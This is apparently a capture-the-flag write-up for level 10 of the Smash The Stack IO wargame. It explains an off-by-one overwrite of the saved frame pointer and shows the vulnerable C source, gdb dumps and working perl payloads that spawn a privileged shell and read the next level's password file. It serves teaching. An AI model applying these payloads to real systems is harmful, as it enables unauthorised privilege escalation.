Today we’re going to be taking a look at level 10 of the Smash The Stack wargame, IO. As usual, the password at the end will be stripped out and replaced with Y’s. To follow a long, go a head and ssh into level10 on io.smashthestack.org with the password obtained from finishing level 9.
Once we’ve logged in, the first thing we want to do is check out our files for the level. Getting a quick ls -la /levels/level10* shows us there are two files of interest, an executable and it’s C source file. Let’s start our analysis by reading the source file:
level10@io:~$ more /levels/level10.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>// Contributed by Torch
int limit, c;
int getebp() { __asm__(“movl %ebp, %eax”); }void f(char *s)
{
int *i;
char buf[260];i = (int *)getebp();
limit = *i – (int)buf + 1;for (c = 0; c < limit && s[c] != ‘\0’; c++)
buf[c] = s[c];
}int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp(“/bin/sh”, “/bin/sh”, “-i”, NULL);
}
return 0;
}
Reading through, we can see the program takes one command line argument, and passes it to the “f” function. It later checks to see if the integer variable “cookie” is equal to the hex value 0xdefaced, and if it is, a shell is spawned. Simple enough so far, now let’s look at that “f” function.
This function takes one character pointer, “s”, as an argument and has two variables, an integer pointer called “i” and a character array of size 260 called “buf”. It then assigns to “i” the value returned from the “getebp” function. Following that, the global integer variable “limit” is set to the dereferenced value of “i” minus “buf” plus one. Finally, there is a for-loop which copies bytes one at a time from “s” to “buf” until “limit” is reached, or “s” contains a null character, marking the end of a string. While this for-loop uses “limit” to try and limit stack smashing from a buffer overwrite, it isn’t initialized in a fully safe manner.
Given what we should know about memory layout, the difference between buf (which represents the low memory address of the stack) and ebp (which represents the high memory address of the stack), is the length of the stack frame. Additionally, adding one makes “limit” one longer than the length of the stack frame. This means that one byte past the end of the stack can be overwritten. So, how can we use that to change the value of the “cookie” variable in main? Well, let’s look at the beginning of f() in gdb:
(gdb) disass f
Dump of assembler code for function f:
0x0804841b <f+0>: push %ebp
0x0804841c <f+1>: mov %esp,%ebp
0x0804841e <f+3>: sub $0x128,%esp
The very first line we can see that ebp is pushed onto the stack. This effectively saves it before the “f” function changes it and uses it for it’s own use. When f() finishes running, it restores ebp to the value which was pushed onto the stack (the “leave” instruction in f does this). Thus, in our program today, main’s ebp is the 4 bytes on the stack immediately preceding f()’s stack frame. The term for this saved ebp is the Saved Frame Pointer (SFP). So, now we know that the “f” function is written in a manner which allows the least significant byte of the SFP to be overwritten. That’s great and all, but that doesn’t let us overwrite the “cookie” variable in main. So, how does it help us?
Well as it turns out, main (or any other function) doesn’t know the exact address of any of it’s local variables. Instead, it knows the offsets of variables from the frame’s base pointer. This is so a program doesn’t have to hard-code memory addresses. However, it intrinsically makes programs vulnerable to frame hijacking. If we can change the ebp of a frame to a memory location where we can control what is at which offsets, we can effectively make the program use different variables. This is exactly what we will do here. Even though f() doesn’t overwrite all of the SFP, it does overwrite the last byte. So, let’s look in memory and see what we can do with that value. Let’s go a head and run the program through gdb, breaking in f() before leave, after the for-loop has run. Let’s also run with an argument that’ll overflow the buffer, say 300 A’s:
Breakpoint 6, 0x08048488 in f ()
(gdb) x/400xb $esp
0xbfffda50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffda98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaa0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaa8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdab0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdab8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdac0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdac8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdad0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdad8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdae0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdae8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdaf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffdb78: 0x41 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08 <– overwrite stops, 297 bytes overwritten max. Overwrites 1 byte of sfp
0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
0xbfffdb90: 0xc5 0x15 0x3a 0x00 0x80 0x23 0xc0 0x00
0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00 <– cookie ;c
0xbfffdba0: 0xf4 0x4f 0x4b 0x00 0x00 0x00 0x00 0x00
0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x8c 0x38 0x00
0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0x28 0x68 0x00
0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
0xbfffdbc8: 0xf4 0xff 0xc0 0x00 0x43 0x82 0x04 0x08
0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
0xbfffdbd8: 0x66 0x19 0xc0 0x00 0xb0 0x0a 0xc1 0x00
Looking at the end of writing, we can see that SFP gets one byte overwritten. Additionally, we can see that since it’s close in memory location, SFP’s address is almost the same as some of the addresses in buf (the list of 0x41’s). So here’s an idea, since we control what’s in buf, let’s try and set SFP to point into buf somewhere. Let’s try and figure out what offset cookie is at in main’s stack frame. To do that, let’s look at the disassembly of main, speficially the following line:
0x080484c5 <main+59>: cmpl $0xdefaced,-0xc(%ebp) –compare value defaced to cookie
The above line does what the added comment says, compares the hex value 0xdefaced to the value of cookie. Thus we can see cookie is at offset -0xc, or decimal value 12 from ebp. Thus, we need to have the value 0xdefaced in memory 12 bytes “lower” than our fake ebp. So now, let’s think about where we’ll place our value in memory in buf, and how we’ll overwrite the SFP to give a fake ebp and frame.
If we overwrite SFP with the byte 0x44 (ascii “D”), the fake SFP will point to 0xbfffdb44. Subtracting 12 from that, we see we need to store our value for cookie (0xdefaced) at 0xbfffdb44 – 0xc, which is 0xbfffdb38. We also know we need to fill up 297 bytes. So from the memory block above, the space between the start of buf and 0xbfffdb38 is 232, then we need to write our four bytes of 0xdefaced. Finally we need to fill the rest with “D”s. So let’s run it through gdb, and check our memory during a break point just to make sure:
(gdb) run `perl -e ‘print “D”x232,”\xed\xac\xef\x0d”,”D”x61’`
Starting program: /levels/level10 `perl -e ‘print “D”x232,”\xed\xac\xef\x0d”,”D”x61’`Breakpoint 1, 0x08048488 in f ()
(gdb) x/400xb $esp
0xbfffda50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda80: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda88: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda90: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffda98: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaa0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaa8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdab0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdab8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdac0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdac8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdad0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdad8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdae0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdae8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaf0: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdaf8: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb00: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb08: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb10: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb18: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb20: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb28: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb30: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb38: 0xed 0xac 0xef 0x0d 0x44 0x44 0x44 0x44
0xbfffdb40: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb48: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb50: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb58: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb60: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb68: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb70: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0xbfffdb78: 0x44 0xdb 0xff 0xbf 0xc5 0x84 0x04 0x08
0xbfffdb80: 0x6b 0xdd 0xff 0xbf 0xe4 0x96 0x04 0x08
0xbfffdb88: 0xa8 0xdb 0xff 0xbf 0x59 0x85 0x04 0x08
0xbfffdb90: 0xc5 0xf5 0x13 0x00 0x80 0x23 0xf1 0x00
0xbfffdb98: 0x4b 0x85 0x04 0x08 0xe8 0x03 0x00 0x00
0xbfffdba0: 0xf4 0x2f 0x25 0x00 0x00 0x00 0x00 0x00
0xbfffdba8: 0x28 0xdc 0xff 0xbf 0xa6 0x6c 0x12 0x00
0xbfffdbb0: 0x02 0x00 0x00 0x00 0x54 0xdc 0xff 0xbf
0xbfffdbb8: 0x60 0xdc 0xff 0xbf 0xc8 0xa8 0xa2 0x00
0xbfffdbc0: 0x10 0xdc 0xff 0xbf 0x8e 0xff 0x77 0x01
0xbfffdbc8: 0xf4 0xff 0xf1 0x00 0x43 0x82 0x04 0x08
0xbfffdbd0: 0x01 0x00 0x00 0x00 0x10 0xdc 0xff 0xbf
0xbfffdbd8: 0x66 0x19 0xf1 0x00 0xb0 0x0a 0xf2 0x00
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Executing new program: /bin/bash
sh-4.1$
Alright! There we have it in gdb. However, outside of gdb, memory is allocated sightly differently and it’s extremely difficult to pinpoint a specific memory address such as 0xbfffdb38. So how would we do this outside of gdb so we could actually get privilege escalation?
Well, we don’t have to be as technically precise as we were with gdb. If we fill buf with repetitions of 0xdefaced and overwrite the SFP to point somewhere in there, we just have to make sure the offset is correct so that SFP-12 points to the beginning of one of the repetitions of 0xdefaced. So let’s try that:
level10@io:~$ /levels/level10 `perl -e ‘print “\xed\xac\xef\x0d”x74,”D”‘`
sh-4.1$ whoami
level11
sh-4.1$ cat /home/level11/.pass
YYYYYYYYYYYY
Tada! There we have it. We were able to hijack main’s ebp by overwriting the SFP in f(). This effectively allowed us to trick main into thinking the value of it’s variables had changed, even though the original variable value at the original location hasn’t changed. This level goes to show how buffer overflows can cause unwanted effects even without attacking the return address, and how important the base pointer is.